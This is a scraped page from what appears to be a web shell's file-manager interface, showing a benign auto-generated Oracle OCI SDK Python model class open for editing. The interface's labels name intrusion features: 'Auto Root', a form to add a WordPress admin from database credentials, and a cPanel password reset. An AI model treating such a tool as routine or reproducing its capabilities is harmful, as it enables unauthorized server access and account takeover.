Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
bds
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: update_node_replace_configuration_details.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20190531 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class UpdateNodeReplaceConfigurationDetails(object): """ The information about the NodeReplaceConfiguration """ def __init__(self, **kwargs): """ Initializes a new UpdateNodeReplaceConfigurationDetails object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param level_type_details: The value to assign to the level_type_details property of this UpdateNodeReplaceConfigurationDetails. :type level_type_details: oci.bds.models.LevelTypeDetails :param display_name: The value to assign to the display_name property of this UpdateNodeReplaceConfigurationDetails. :type display_name: str :param metric_type: The value to assign to the metric_type property of this UpdateNodeReplaceConfigurationDetails. :type metric_type: str :param duration_in_minutes: The value to assign to the duration_in_minutes property of this UpdateNodeReplaceConfigurationDetails. :type duration_in_minutes: int """ self.swagger_types = { 'level_type_details': 'LevelTypeDetails', 'display_name': 'str', 'metric_type': 'str', 'duration_in_minutes': 'int' } self.attribute_map = { 'level_type_details': 'levelTypeDetails', 'display_name': 'displayName', 'metric_type': 'metricType', 'duration_in_minutes': 'durationInMinutes' } self._level_type_details = None self._display_name = None self._metric_type = None self._duration_in_minutes = None @property def level_type_details(self): """ Gets the level_type_details of this UpdateNodeReplaceConfigurationDetails. :return: The level_type_details of this UpdateNodeReplaceConfigurationDetails. :rtype: oci.bds.models.LevelTypeDetails """ return self._level_type_details @level_type_details.setter def level_type_details(self, level_type_details): """ Sets the level_type_details of this UpdateNodeReplaceConfigurationDetails. :param level_type_details: The level_type_details of this UpdateNodeReplaceConfigurationDetails. :type: oci.bds.models.LevelTypeDetails """ self._level_type_details = level_type_details @property def display_name(self): """ Gets the display_name of this UpdateNodeReplaceConfigurationDetails. A user-friendly name. Only ASCII alphanumeric characters with no spaces allowed. The name does not have to be unique, and it may be changed. Avoid entering confidential information. :return: The display_name of this UpdateNodeReplaceConfigurationDetails. :rtype: str """ return self._display_name @display_name.setter def display_name(self, display_name): """ Sets the display_name of this UpdateNodeReplaceConfigurationDetails. A user-friendly name. Only ASCII alphanumeric characters with no spaces allowed. The name does not have to be unique, and it may be changed. Avoid entering confidential information. :param display_name: The display_name of this UpdateNodeReplaceConfigurationDetails. :type: str """ self._display_name = display_name @property def metric_type(self): """ Gets the metric_type of this UpdateNodeReplaceConfigurationDetails. Type of compute instance health metric to use for node replacement :return: The metric_type of this UpdateNodeReplaceConfigurationDetails. :rtype: str """ return self._metric_type @metric_type.setter def metric_type(self, metric_type): """ Sets the metric_type of this UpdateNodeReplaceConfigurationDetails. Type of compute instance health metric to use for node replacement :param metric_type: The metric_type of this UpdateNodeReplaceConfigurationDetails. :type: str """ self._metric_type = metric_type @property def duration_in_minutes(self): """ Gets the duration_in_minutes of this UpdateNodeReplaceConfigurationDetails. This value is the pending duration time to wait for metric emission before triggering node replacement. The value is in minutes. :return: The duration_in_minutes of this UpdateNodeReplaceConfigurationDetails. :rtype: int """ return self._duration_in_minutes @duration_in_minutes.setter def duration_in_minutes(self, duration_in_minutes): """ Sets the duration_in_minutes of this UpdateNodeReplaceConfigurationDetails. This value is the pending duration time to wait for metric emission before triggering node replacement. The value is in minutes. :param duration_in_minutes: The duration_in_minutes of this UpdateNodeReplaceConfigurationDetails. :type: int """ self._duration_in_minutes = duration_in_minutes def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other